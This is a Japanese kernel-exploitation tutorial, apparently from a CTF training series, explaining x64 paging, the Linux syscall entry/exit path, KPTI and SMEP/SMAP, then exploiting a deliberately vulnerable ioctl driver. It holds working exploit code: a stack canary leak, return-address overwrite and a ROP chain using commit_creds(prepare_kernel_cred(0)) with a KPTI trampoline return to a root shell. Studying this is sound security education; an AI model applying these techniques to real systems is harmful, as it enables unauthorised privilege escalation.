syscallとSMAP/KPTI

syscallの原理とページテーブルに関するセキュリティ機構とROPを使ったbypass

Challenge

[Distribution File]

[vmlinux with debug symbols]

1
nc sc skb.pw 49405

Address Translation

以下では、前提知識としてx64アーキテクチャの64bit mode(4-level paging)におけるページング機構について軽く触れます。

x64において、アドレスはLogical AddressLinear AddressPhysical Addressの3つがあります。 Logical Addressはいわゆる仮想アドレスに対応するもので、Linear->Physicalへと変換されていきます。 これらのアドレスの用語はx64固有のもので、他のアーキだと*Effective Address(EA)*と言ったり、 そもそもLinearがなかったりします。

Logical to Linear

Logical->Linear変換はGDT/LDTと呼ばれる構造体が司ります1

segment

画像のように、アドレスの上位16bitがGDT内のSegment Descriptorのインデックスとして使われます。 このdescriptorは、Linear Addressの Base / Limit / Access Rights 等を保持しています。 Logical Addressのオフセットを、descriptorのBaseに加算することでLinear Addressが得られます。 また、Seg. SelectorRPL (Requested Protection Level) と呼ばれる値も保持しており、 アクセスする際の希望Ring Levelを表します。 Descriptorも同様に DPL (Descriptor Privilege Level) と呼ばれる値を保持しており、 これ以下のRing Levelからのアクセスを許可します。 Descriptorの値を使ってLinear Addressに変換する際には、max(RPL, CPL) <= DPLである必要があります。

Linear to Physical

Linear->Physical変換は、Page Tableと呼ばれる構造体を使ってMMUが司ります。

paging

Linear Address中の値をもとにして4段階でアドレス解決をしていきます。 上の画像に置いて、アドレス解決に使われる構造を左から PGD / PMD / PTE と呼びます。 なお、これはLinuxにおける呼び名でありIntelはまた別の命名をしているのでご注意を。 Linear Address中のDirによってPGD内のエントリを指定します。 そのエントリがPMDのアドレスを保持していて、Linear Address内のTableと組み合わせてPMD内のエントリを取得します。 ということを繰り返して、最終的にPhysical Addressのベースアドレスが取得できるため、 これをLinear Address内のOffsetと加算して完了です。

GDTのキャッシング

いちいちGDTを参照するのは嫌なので、x64はSegment Descriptorの値をキャッシュしておくためのレジスタを保持しています。 CS(code) / DS(data) / SS(stack) / ES(general) / FS(general) / GS(general) と呼ばれるレジスタたちです。 GDTから対応するエントリをこれらのレジスタにロードすることで、以降はこのレジスタの値を使ってアドレス解決を行うことができます。

x64におけるセグメント

せっかく説明しましたが、x64においてセグメント機構はあまり使われていません。 というのも、64bitモードに置いてはCS/DS/SS/ESのBase値を常に0として扱うようになっています。 Limitチェックもされません(一応アドレス解決の結果がCanonicalかどうかくらいは見てくれるらしいです)。 よって、大抵の場合において Logical Address == Linear Address になります。

例外はFSとGSです。 FSはglibcにおいてTLS (Thread Local Storage) を指すために利用されたりします。 GSはLinux KernelにおいてCPU固有のデータ(Per-CPU Variable)を指すために利用されたりします。 なお、x64においてFSとGSはBase解決のために利用されます。 そして、FSとGSレジスタは MSR (Model Specific Register) というレジスタに物理的にマッピングされています。 それぞれIA32_FS_BASE / IA32_GS_BASEというMSRです。 そのためFS/GSを参照しようとすると、これらのMSRを見に行くことになります。 GSはkernellandで重要なため、のちほどまた詳しく見ていきます。

syscallについて

entry point ~ do_syscall_64

一昔前は、int 0x80命令によってsyscallを呼び出していました。 int命令は割り込みを発生させる命令で、IDTRによって指される割り込みテーブルに登録されたハンドラに処理が移ります。 0x80番がsyscallのエントリポイントということですね。 また、32bitではsysenter命令が使われていました。 しかし、最近の64bitアーキではint 0x80はほとんど使われず、より高速なsyscall命令が使われます。

syscallIA32_LSTAR_MSRレジスタによって指されるエントリポイントに処理を移します。 MSR_LSTARsyscall_init()(/arch/x86/kernel/cpu/common.c)で初期化され、entry_SYSCALL_64を指すことになります:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
void syscall_init(void)
{
	wrmsr(MSR_STAR, 0, (__USER32_CS << 16) | __KERNEL_CS);
	wrmsrl(MSR_LSTAR, (unsigned long)entry_SYSCALL_64);

	wrmsrl(MSR_CSTAR, (unsigned long)ignore_sysret);
	wrmsrl_safe(MSR_IA32_SYSENTER_CS, (u64)GDT_ENTRY_INVALID_SEG);
	wrmsrl_safe(MSR_IA32_SYSENTER_ESP, 0ULL);
	wrmsrl_safe(MSR_IA32_SYSENTER_EIP, 0ULL);

	/* Flags to clear on syscall */
	wrmsrl(MSR_SYSCALL_MASK,
	       X86_EFLAGS_TF|X86_EFLAGS_DF|X86_EFLAGS_IF|
	       X86_EFLAGS_IOPL|X86_EFLAGS_AC|X86_EFLAGS_NT);
}

entry_SYSCALL_64((/arch/x86/entry/entry_64.S)の前半部分は以下のように定義されます:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
SYM_CODE_START(entry_SYSCALL_64)
	UNWIND_HINT_ENTRY
	ENDBR

	swapgs
	/* tss.sp2 is scratch space. */
	movq	%rsp, PER_CPU_VAR(cpu_tss_rw + TSS_sp2)
	SWITCH_TO_KERNEL_CR3 scratch_reg=%rsp
	movq	PER_CPU_VAR(cpu_current_top_of_stack), %rsp

SYM_INNER_LABEL(entry_SYSCALL_64_safe_stack, SYM_L_GLOBAL)
	ANNOTATE_NOENDBR

	/* Construct struct pt_regs on stack */
	pushq	$__USER_DS				/* pt_regs->ss */
	pushq	PER_CPU_VAR(cpu_tss_rw + TSS_sp2)	/* pt_regs->sp */
	pushq	%r11					/* pt_regs->flags */
	pushq	$__USER_CS				/* pt_regs->cs */
	pushq	%rcx					/* pt_regs->ip */
SYM_INNER_LABEL(entry_SYSCALL_64_after_hwframe, SYM_L_GLOBAL)
	pushq	%rax					/* pt_regs->orig_ax */

	PUSH_AND_CLEAR_REGS rax=$-ENOSYS

	/* IRQs are off. */
	movq	%rsp, %rdi
	/* Sign extend the lower 32bit as syscall numbers are treated as int */
	movslq	%eax, %rsi

	/* clobbers %rax, make sure it is after saving the syscall nr */
	IBRS_ENTER
	UNTRAIN_RET

	call	do_syscall_64		/* returns with IRQs disabled */```

L2はよく分かりませんが、この時点でstackを持っていないことを表現しているらしいです。

L3のENDBRは新しいCPUに搭載されたIndirect Branch Tracking用の命令です。 詳しくはこの辺の記事を見てみてください。

L5のswapgsはとても大切です。 kernelについた直後はスタックがありません。寂しいです。 そのため、まずswapgs命令によって IA32_KERNEL_GS_BASE からkernel用のGSを取り出してきています。 この命令は現在のGSとMSRに入っている値を交換します。

取り出したGSは、PER_CPU_VARの計算に使われます(arch/x86/include/asm/percpu.h):

1
2
#define __percpu_seg		gs
#define PER_CPU_VAR(var)	%__percpu_seg:var

確かにGSレジスタを使ってアドレスを計算していることが分かりますね。 みなさんもぜひお手元のGDBとvmlinuxをつかってentry_SYSCALL_64にbpを貼ってみてください。 swapgsの直前のレジスタやMSR_GS_BASEの値は以下のようになります:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
gef> registers
$rax   : 0x0
$rbx   : 0x0
$rcx   : 0x00000000004a91de  ->  0x5a77fffff0003d48 ('H='?)
$rdx   : 0x1
$rsp   : 0x00007fff60392318  ->  0x000000000050c168  ->  0x7d83411179c08548
$rbp   : 0x00007fff60392469  ->  0xa800000000005637 ('7V'?)
$rsi   : 0x00007fff60392469  ->  0xa800000000005637 ('7V'?)
$rdi   : 0x0
$rip   : 0xffffffff81800000 <entry_SYSCALL_64>  ->  0x2524894865f8010f
$r8    : 0x0000000000663338  ->  0x0000000000000000 <fixed_percpu_data>
$r9    : 0x0
$r10   : 0x8
$r11   : 0x246
$r12   : 0x1
$r13   : 0x0000000000660320  ->  0x0000000000000000 <fixed_percpu_data>
$r14   : 0x0
$r15   : 0x00007fff60392469  ->  0xa800000000005637 ('7V'?)
$eflags: 0x2 [ident align vx86 resume nested overflow direction interrupt trap sign zero adjust parity carry] [Ring=0]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00

gef> msr MSR_GS_BASE
MSR_GS_BASE (0xc0000101): 0x0 (=0b)

確かにRSP等はまだuserlandのものを指していることが分かります。 また、GS_BASEは0になっています。userlandでは使わないので妥当ですね。

これが、swapgsをした後には以下のようになります:

1
2
gef> msr MSR_GS_BASE
MSR_GS_BASE (0xc0000101): 0xffff88800f600000 (=0b1111_1111_1111_1111_1000_1000_1000_0000_0000_1111_0110_0000_0000_0000_0000_0000)

0xffff88800f600000を指すようになっています。 これが、このCPUのPER_CPU_VAR領域となります。

続くL7で、このPER_CPU_VARを使ってRSPの値を退避させています。 x64では TSS (Task State Segment) と呼ばれる領域にタスク情報を格納することになっており、 該当領域は以下のようにcpu_tss_rw変数として定義されています:

tss

1
2
3
4
5
6
7
8
9
// /include/generated/asm-offsets.h
#define TSS_sp2 20 /* offsetof(struct tss_struct, x86_tss.sp2) */

// /arch/x86/include/asm/processor.h
struct tss_struct {
	struct x86_hw_tss	x86_tss;
	struct x86_io_bitmap	io_bitmap;
} __aligned(PAGE_SIZE);
DECLARE_PER_CPU_PAGE_ALIGNED(struct tss_struct, cpu_tss_rw);

L7のTSS_sp2は、TSSの中でたまたま使われていない領域のため、せっかくだからuser RSPを保存するのにこの領域を使おうということらしいです。

L8では何か大切そうなことをしています(/arch/x86/entry/calling.h):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
#define PTI_USER_PGTABLE_AND_PCID_MASK  (PTI_USER_PCID_MASK | PTI_USER_PGTABLE_MASK)

.macro ADJUST_KERNEL_CR3 reg:req
	ALTERNATIVE "", "SET_NOFLUSH_BIT \reg", X86_FEATURE_PCID
	/* Clear PCID and "PAGE_TABLE_ISOLATION bit", point CR3 at kernel pagetables: */
	andq    $(~PTI_USER_PGTABLE_AND_PCID_MASK), \reg
.endm

.macro SWITCH_TO_KERNEL_CR3 scratch_reg:req
	ALTERNATIVE "jmp .Lend_\@", "", X86_FEATURE_PTI
	mov	%cr3, \scratch_reg
	ADJUST_KERNEL_CR3 \scratch_reg
	mov	\scratch_reg, %cr3
.Lend_\@:
.endm

どうやらscratch_regで指定したレジスタを仲介として、 CR3レジスタの11/12-th bit (0-origin)を下ろしているようです。 CR3レジスタはPGDの物理アドレスを保持します:

cr3

このビット演算が何を意味するかは非常に重要なのですが、 今のところはとりあえずkernel空間のページにアクセスできるようになるという認識で大丈夫です。 本ページで必要になったら説明します。

L9では、PER_CPU_VAR(cpu_current_top_of_stack)を使ってRSPを更新しています。 どうやらこの領域にはこのCPU用のstackアドレスがおいてあるらしいです。 これでやっとkernelくんはstackをゲットしました、やったね。

続くL15-L21ではひたすらにユーザレジスタをstackに積みまくっています。 これは、のちほど関数に引数として渡す必要があるstruct pt_regs(/arch/x86/include/asm/ptrace.h)を構築しています。 確かにアセンブリ中で積んでいる順番と一致しますね:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
struct pt_regs {
	unsigned long r15;
	unsigned long r14;
	unsigned long r13;
	unsigned long r12;
	unsigned long bp;
	unsigned long bx;
	unsigned long r11;
	unsigned long r10;
	unsigned long r9;
	unsigned long r8;
	unsigned long ax;
	unsigned long cx;
	unsigned long dx;
	unsigned long si;
	unsigned long di;
	unsigned long orig_ax;
	unsigned long ip;
	unsigned long cs;
	unsigned long flags;
	unsigned long sp;
	unsigned long ss;
};j

あとはL26,28でRDI/RSIに引数を入れて、do_syscall_64(/arch/x86/entry/common.c)を呼んでいるだけです。 この中身についてはここでは触れないため、興味のある人は見てみてください。

do_syscall_64 ~ userlandへの帰還

ここからはdo_syscall_64を終えてuserlandに帰還するまでの部分です。 帰還方法にはsysretiretがあります。 基本的にはそれぞれsyscall / 割り込みから帰るようですが、後者のほうが簡単なため後者を見ていくことにします。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
	movq	RCX(%rsp), %rcx
	movq	RIP(%rsp), %r11
	cmpq	%rcx, %r11	/* SYSRET requires RCX == RIP */
	jne	swapgs_restore_regs_and_return_to_usermode
  ...

SYM_CODE_START_LOCAL(common_interrupt_return)
SYM_INNER_LABEL(swapgs_restore_regs_and_return_to_usermode, SYM_L_GLOBAL)
	IBRS_EXIT

	POP_REGS pop_rdi=0

	/*
	 * The stack is now user RDI, orig_ax, RIP, CS, EFLAGS, RSP, SS.
	 * Save old stack pointer and switch to trampoline stack.
	 */
	movq	%rsp, %rdi
	movq	PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp
	UNWIND_HINT_EMPTY

	/* Copy the IRET frame to the trampoline stack. */
	pushq	6*8(%rdi)	/* SS */
	pushq	5*8(%rdi)	/* RSP */
	pushq	4*8(%rdi)	/* EFLAGS */
	pushq	3*8(%rdi)	/* CS */
	pushq	2*8(%rdi)	/* RIP */

	/* Push user RDI on the trampoline stack. */
	pushq	(%rdi)

	/*
	 * We are on the trampoline stack.  All regs except RDI are live.
	 * We can do future final exit work right here.
	 */
	STACKLEAK_ERASE_NOCLOBBER

	SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi

	/* Restore RDI. */
	popq	%rdi
	swapgs
	jmp	.Lnative_iret

L1-4はsysretを使えるかどうかのチェックです。 無理な場合にはswapgs_restore_regs_and_return_to_usermodeに飛びます。

L11でRDIを除いてPOPしています。 先程stackにはstruct pt_regsを積んでいたので、それを取り出しています。

L18ではRSPを退避させています。 ここでもPER_CPU_VAR(cpu_tss_rw + TSS_sp0)を使うことで、次にkernelに来た時にこの値を使ってRSPを復元することができます。

L21-26では、iretqで必要となるユーザレジスタの値を積んでいます。

L37は、CR3をuserlandのものに戻しています。さっきの逆ですね。

そして最終的にもう一度swapgsをしてGSをユーザのもの(0)に戻して、めでたくiretqで帰還しています。

脆弱性

配布ファイルを見て内容を確認してみてください。 ソースコードは以下のようになっています:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
typedef struct smap_data_t {
  char *buf;
  size_t len;
} smap_data;

long smap_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
  long ret = 0;
  char buf[SMAP_BUFSZ] = {0};
  smap_data data;

  if (copy_from_user(&data, (smap_data *)arg, sizeof(smap_data))) {
    return -EFAULT;
  }

  switch (cmd) {
    case SMAP_IOCTL_WRITE:
      if (_copy_from_user(buf, data.buf, data.len)) {
        ret = -EFAULT;
      }
      break;
    case SMAP_IOCTL_READ:
      if (_copy_to_user(data.buf, buf, data.len)) {
        ret = -EFAULT;
      }
      break;
    default:
      ret = -EINVAL;
  }

  return ret;
}

ioctlでは第3引数を介してユーザデータを渡すことができ、今回はstruct smap_data_t型として定義されています。 コマンドは2つ用意されており、SMAP_IOCTL_WRITEではstack上のbufに対して書き込みが、 SMAP_IOCTL_READでは読み込みができます。

脆弱性は明らかで、_copy_from/to_user()に渡すサイズをユーザが任意に指定することができ、 そのサイズがSMAP_BUFSZを超える場合にはstack overflowが発生します。

canary leakとRIP hijack…?

kernelとはいってもstackの構造は変わりません。 よって、RAを書き換えてuserlandに用意した関数を実行することを目指しましょう。

ちょっとその前に、run.shの以下の箇所を修正しておいてください:

1
2
3
  -cpu kvm64,+smep,+smap \
=>
  -cpu kvm64,-smep,-smap \

まずはSMAP_IOCTL_READでcanaryをleakします。 /proc/kallsymsからsmap_ioctl()のアドレスを調べ、そこにbpを貼ってみましょう。 stackの用意がされたあとにteleコマンドで見てみると以下のようになっています:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
0xffffc90000443d80|+0x0000|000: 0x0000000000000000 <fixed_percpu_data>  <-  $rsp
0xffffc90000443d88|+0x0008|001: 0x0000000001100dca
0xffffc90000443d90|+0x0010|002: 0x0000000000000000 <fixed_percpu_data>
0xffffc90000443d98|+0x0018|003: 0xffffffff81edfca0 <boot_cpu_data>  ->  0x000000000106000f  <-  $rdi
0xffffc90000443da0|+0x0020|004: 0x0000000000000255
...
0xffffc90000443e70|+0x00f0|030: 0xffff8880031c6770  ->  0x8000000001a2a067
0xffffc90000443e78|+0x00f8|031: 0xffffea00000c71a8  ->  0x0000000000000000 <fixed_percpu_data>
0xffffc90000443e80|+0x0100|032: 0x0000000000000000 <fixed_percpu_data>
0xffffc90000443e88|+0x0108|033: 0x2aed9ca7a13c1f00
0xffffc90000443e90|+0x0110|034: 0x2aed9ca7a13c1f00
0xffffc90000443e98|+0x0118|035: 0x0000000000000003 <fixed_percpu_data+0x3>
0xffffc90000443ea0|+0x0120|036: 0xffffc90000443f30  ->  0xffffc90000443f48  ->  0x0000000000000000 <fixed_percpu_data>  <-  $rbp
0xffffc90000443ea8|+0x0128|037: 0xffffffff81161406 <__x64_sys_ioctl+0x3e6>  ->  0x413e74fffffdfd3d

$rbp + 0x8がRA、$rbp - 0x10がcanaryです ($rbp - 0x18にもcanaryが入っているのは、前のstack frameのcanaryの名残かと思われます)。

また、smap_ioctl()disassしてみると以下のような箇所があるため、buf$rbp-0x110に確保されることが分かります:

1
2
3
    0xffffffffc000002f 31c0               <NO_SYMBOL>   xor    eax, eax
    0xffffffffc0000031 48c785f0feffff..   <NO_SYMBOL>   mov    QWORD PTR [rbp - 0x110], 0x0
 -> 0xffffffffc000003c f348ab             <NO_SYMBOL>   rep    stos QWORD PTR es:[rdi], rax

よって、以下のようにしてcanaryをleakすることができます:

1
2
3
4
5
6
char *buf = malloc(BUFSZ);
memset(buf, 0, BUFSZ);
smap_read(fd, buf, 0x150);
const ulong canary = *(ulong *)(buf + 0x100);
const ulong rbp = *(ulong *)(buf + 0x108);
printf("[+] canary: 0x%lx\n", canary);

あとはRAを書き換えるだけです。 RAを書き換える際にはcanaryも一緒に書き換える必要があるため、leakした値で上書きするようにします。 Warmupの章でも使ったようなget_root()関数に飛ばしてみましょう:

1
2
3
4
5
memset(buf, 'A', BUFSZ);
*(ulong *)(buf + 0x100) = canary;
*(ulong *)(buf + 0x100 + 0x10) = rbp;
*(ulong *)(buf + 0x100 + 0x18) = (ulong)get_root;
smap_write(fd, buf, 0x128);

これを実行すると以下のようになります:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
/ # ./exploit
[ ] START of life...
[+] get_root: 0x40294a
[+] canary: 0x6c600ff28ff49400
BUG: unable to handle page fault for address: 000000000040294a
#PF: supervisor instruction fetch in kernel mode
#PF: error_code(0x0011) - permissions violation
PGD 80000000032df067 P4D 80000000032df067 PUD 32de067 PMD 32d8067 PTE 1fef025
Oops: 0011 [#1] SMP PTI
CPU: 0 PID: 137 Comm: exploit Tainted: G           O      5.15.0 #2
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
RIP: 0010:0x40294a
Code: Unable to access opcode bytes at RIP 0x402920.
RSP: 0018:ffffc9000045beb0 EFLAGS: 00000246
RAX: 0000000000000000 RBX: 4141414141414141 RCX: 0000000000000000
RDX: 0000000000000000 RSI: 00000000004ed8a8 RDI: ffffc9000045beb8
RBP: 0000000000000003 R08: 00000000004028ff R09: 4141414141414141
R10: 4141414141414141 R11: 4141414141414141 R12: ffff8880031e8700
R13: 00007ffeb05fb890 R14: ffff8880031e8700 R15: 0000000000001000

000000000040294aにのページフォルトを処理できないと言っています。 これはget_root()のアドレスです。

これは KPTI と呼ばれるセキュリティ機構によるものです。

KPTI (Kernel Page Table Isolation)

KPTIは、Meltdownと呼ばれる脆弱性に対する対策として導入されたものです。

KPTIが導入される前は、userlandとkernelのページテーブルは同じものを使っていました。 具体的には、kernelとuserlandで同じPGDを共有して使っていました。 もちろんページ権限としてはuserからkernelにアクセスすることはできなかったのですが、 CPUの投機的実行とキャッシュを利用してkernelのメモリを読み出すことができてしまうという脆弱性がありました。 そこで、そもそもuserlandとkernelのページテーブルを分けてしまいuserlandのPGDには kernelのマッピングをほとんどしないようになりました。これがKPTIです。

KPTIはCONFIG_PAGE_TABLE_ISOLATIONを有効にすることで有効化できます。 また、bootオプションとしてnoptiをつけると無効化できます。 対応するコードは以下のとおりです:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
// /arch/x86/include/asm/pgalloc.h
#define PGD_ALLOCATION_ORDER 1
#else
#define PGD_ALLOCATION_ORDER 0
#endif

// /arch/x86/mm/pgtable.c
static inline pgd_t *_pgd_alloc(void)
{
	return (pgd_t *)__get_free_pages(GFP_PGTABLE_USER,
					 PGD_ALLOCATION_ORDER);
}

KPTIが有効になっていると、PGDを確保する際には2ページ分取得していることが分かります。 この関数は隣接するページ(Order-1 Page)を取得するため、最初のページがkernel用・続くページがuser用のPGDになります。 そのため、kernel PGDのPAGE_SHITF (12)bit目を立てるだけでuser PGDを取得することができます:

1
2
3
4
static inline pgd_t *kernel_to_user_pgdp(pgd_t *pgdp)
{
	return ptr_set_bit(pgdp, PTI_PGTABLE_SWITCH_BIT);
}

ここで、先程syscall entryで見た謎のSWITCH_TO_KERNEL_CR3 scratch_reg=%rspの意味が分かるようになります。 このマクロはCR3レジスタの11/12-th bitを下ろしていました。 これは、user PGDからkernel PGDへの切り替えを意味していたんですね。

ちなみに、11-th bitはPCID bitと呼ばれています。 本来ならばCR3を切り替えた(PGDを切り替えた)場合には、TLBを全てフラッシュしてやる必要があります。 そうしないと、PGDが切り替わってアドレス変換のルールが変わったのに 古いルールで変換した結果をTLBから取ってくることになっちゃいますからね。 しかし、user<->kernel CR3の変換のたびにTLBフラッシュしてると遅くなってしまうので、 PCID機能を利用してキャッシュにタグ付けができるようにしています。 これによって、CR3を切り替えたときに全てを即座にフラッシュする必要がなくなるという仕組みらしいです。 詳しくはこのへんを読んでみてください。

ところで、今回のシナリオではkernel PGDを保持した状態でuserlandの関数を呼んだはずです。 KPTIでは、userからkernelのマップは見えなくなりますが、kernelからuserのマップは読むことができます。 ではどうしてエラーになったのでしょうか。 実は、 KPTIではuserからkernelマップを見えなくする以外に、kernelからはuserのマップがNXに見えるようにしています (多分おまけ的な感じです):

1
2
3
4
5
6
7
8
pgd_t __pti_set_user_pgtbl(pgd_t *pgdp, pgd_t pgd)
{
	...
	if ((pgd.pgd & (_PAGE_USER|_PAGE_PRESENT)) == (_PAGE_USER|_PAGE_PRESENT) &&
	    (__supported_pte_mask & _PAGE_NX))
		pgd.pgd |= _PAGE_NX;}
	...
}

実際、vmmapか何かで見てみるとR--としてマップされていることがわかると思います:

1
2
3
4
5
6
Virtual address start-end          Physical address start-end         Total size   Page size   Count  Flags
0000000000400000-0000000000401000  0000000001ff1000-0000000001ff2000  0x1000       0x1000      1      [R-- USER ACCESSED]
0000000000401000-0000000000402000  0000000001ff0000-0000000001ff1000  0x1000       0x1000      1      [R-- USER ACCESSED]
0000000000402000-0000000000403000  0000000001fef000-0000000001ff0000  0x1000       0x1000      1      [R-- USER ACCESSED]
0000000000403000-0000000000404000  0000000001fee000-0000000001fef000  0x1000       0x1000      1      [R-- USER ACCESSED]
0000000000404000-0000000000405000  0000000001fed000-0000000001fee000  0x1000       0x1000      1      [R-- USER ACCESSED]

というわけで、KPTIが有効な状態では単純にuserlandの関数にジャンプするということはできません。

SMEP / SMAP

さて、ここで一つ実験としてrun.sh-appendオプションにnoptiを追加してKPTIを無効化してみましょう。 それと同時に、先程編集した-smep,-smapの部分を+smep,+smapに戻します。 この状態で先程のexploitを実行してみてください:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
/ # ./exploit
[ ] START of life...
[+] get_root: 0x40294a
[+] canary: 0x5151c42bf165bc00
unable to execute userspace code (SMEP?) (uid: 0)
BUG: unable to handle page fault for address: 000000000040294a
#PF: supervisor instruction fetch in kernel mode
#PF: error_code(0x0011) - permissions violation
PGD 32ad067 P4D 32ad067 PUD 32ae067 PMD 3278067 PTE 1fef025
Oops: 0011 [#1] SMP NOPTI
CPU: 0 PID: 152 Comm: exploit Tainted: G           O      5.15.0 #2
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
RIP: 0010:0x40294a
Code: Unable to access opcode bytes at RIP 0x402920.
RSP: 0018:ffffc90000463eb0 EFLAGS: 00000246
RAX: 0000000000000000 RBX: 4141414141414141 RCX: 0000000000000000
RDX: 0000000000000000 RSI: 00000000004ed8a8 RDI: ffffc90000463eb8
RBP: 0000000000000003 R08: 00000000004028ff R09: 4141414141414141
R10: 4141414141414141 R11: 4141414141414141 R12: ffff888003192f00
R13: 00007ffe59b19250 R14: ffff888003192f00 R15: 0000000000001000

KPTIを無効化したのに落ちてしまいました。 これは、SMEP (Supervisor Mode Execution Prevention) / SMAP (Supervisor Mode Access Prevention) というCPUのセキュリティ機構によるものです。 SMEP/SMAPが有効だと、ring-0の状態でuserのページにあるコードの実行およびデータへのアクセスがそれぞれできなくなります。 これはCR4レジスタの20/21-th bitを立てることで有効化されます。 なお、KPTIはLinux(ソフト)のセキュリティ機構・SMEP/SMAPはIntel(ハード)のセキュリティ機構となります。

それでは、_copy_to_user()関数等はどうやってユーザ領域にアクセスしているのでしょうか。 copy_to_userは設定にもよりますが、以下のようなアセンブリコードを呼び出します:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
; /arch/x86/lib/copy_user_64.S
SYM_FUNC_START(copy_user_generic_unrolled)
	ASM_STAC
	cmpl $8,%edx
  ...

// /arch/x86/include/asm/smap.h
#define __ASM_STAC	".byte 0x0f,0x01,0xcb"
static __always_inline void stac(void)
{
	/* Note: a barrier is implicit in alternative() */
	alternative("", __ASM_STAC, X86_FEATURE_SMAP);
}

ASM_STACによってCR4ののSMAP bitを設定してやっています。 この関数中は一時的にSMAPを無効化することでアクセスできるようにしているようですね。

というわけで、SMAP/SMEPが有効化されている場合にはkernelからuserにアクセスすることはできなくなります。 ただし、copy_to_user等がしているように、CR4レジスタをいじってあげれば、これらの制約は解除することが出来るようです。

exploit方針

さて、先程run.shに追加したnoptiオプションを消してあげましょう。 これで晴れてKPTI/SMAP/SMEP有効な状態になります。 KPTIが有効なので、userlandの関数にはジャンプできません。 よって、ROPでkernelにいる状態で権限昇格をしてしまいましょう。 ROPについて詳しくは userland ROP の章を見てください。

基本方針はWarmupの章と同じです。 commit_creds(prepare_kernel_cred(0))をします:

1
2
3
4
5
6
7
8
9
  ulong *chn = (ulong *)(buf + 0x100 + 0x18);
  ulong *chn_orig = chn;
  *chn++ = 0xffffffff810caadd;  // pop rdi
  *chn++ = 0;
  *chn++ = (ulong)prepare_kernel_cred;
  *chn++ = 0xffffffff812a85e4;  // pop rcx
  *chn++ = 0;
  *chn++ = 0xffffffff8165bf2b;  // mov rdi, rax; rep movsq
  *chn++ = (ulong)commit_creds;

これで権限昇格自体は完成です。 しかし、このあとできれいにuserlandに戻る必要があります。

userlandに戻るには、syscallのセクションで見たような処理をすればOKです。 すなわち、swapgsでGSを切り替えた後、iretqで戻ります。 このとき、userland用のCS/RFLAGS/RSP/SSレジスタをstackに積んでおく必要があります。 よって、これらの値をuserlandにいるうちに保存しておく必要があります。 以下の関数をROPを始める前に実行しておきましょう:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
ulong user_cs, user_ss, user_sp, user_rflags;

// should compile with -masm=intel
static void save_state(void) {
  asm("movq %0, %%cs\n"
      "movq %1, %%ss\n"
      "movq %2, %%rsp\n"
      "pushfq\n"
      "popq %3\n"
      : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags)
      :
      : "memory");
}

あとはswapgs / iretqをするためのROP-chainを積み込みます:

1
2
3
4
5
6
7
8
  *chn++ = 0xffffffff81800e26;  // save stack + swapgs
  *chn++ = 0;                   // trash
  *chn++ = 0;                   // trash
  *chn++ = (ulong)shell;
  *chn++ = user_cs;
  *chn++ = user_rflags;
  *chn++ = user_sp;
  *chn++ = user_ss;

0xffffffff81800e26はsyscall entrypointのLに該当する部分です:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
	movq	%rsp, %rdi
	movq	PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp
	UNWIND_HINT_EMPTY

	pushq	6*8(%rdi)	/* SS */
	pushq	5*8(%rdi)	/* RSP */
	pushq	4*8(%rdi)	/* EFLAGS */
	pushq	3*8(%rdi)	/* CS */
	pushq	2*8(%rdi)	/* RIP */
	pushq	(%rdi)
	STACKLEAK_ERASE_NOCLOBBER
	SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi
	popq	%rdi
	swapgs
	jmp	.Lnative_iret

なお、L2のkernel stackを保存する部分も大事です。 L2以降はいわゆるトランポリンスタックを使うように設定してくれます。 ROP-chainに積むRFLAGSやRSPは有効なものであればまぁなんでもいいです。 どうせuserlandに戻ってきたらすぐに新しいプロセス(root shell)を立ち上げるので。 RIPに対応する部分にはsystem("/bin/sh")をするような関数のアドレスを入れておきましょう。


これでROPを使ったSMEP/SMAP(ついでにKPTI)バイパスができるはずです。 ぜひリモートで実際に権限昇格をしてみてください。


  1. 画像はIntel Architectures Software Developer Manuals (SDM)からの引用です。以下、特に断らない限り画像はSDMからの出典です。 ↩︎

Last modified November 15, 2023: add warning about challenge server (55ad5da)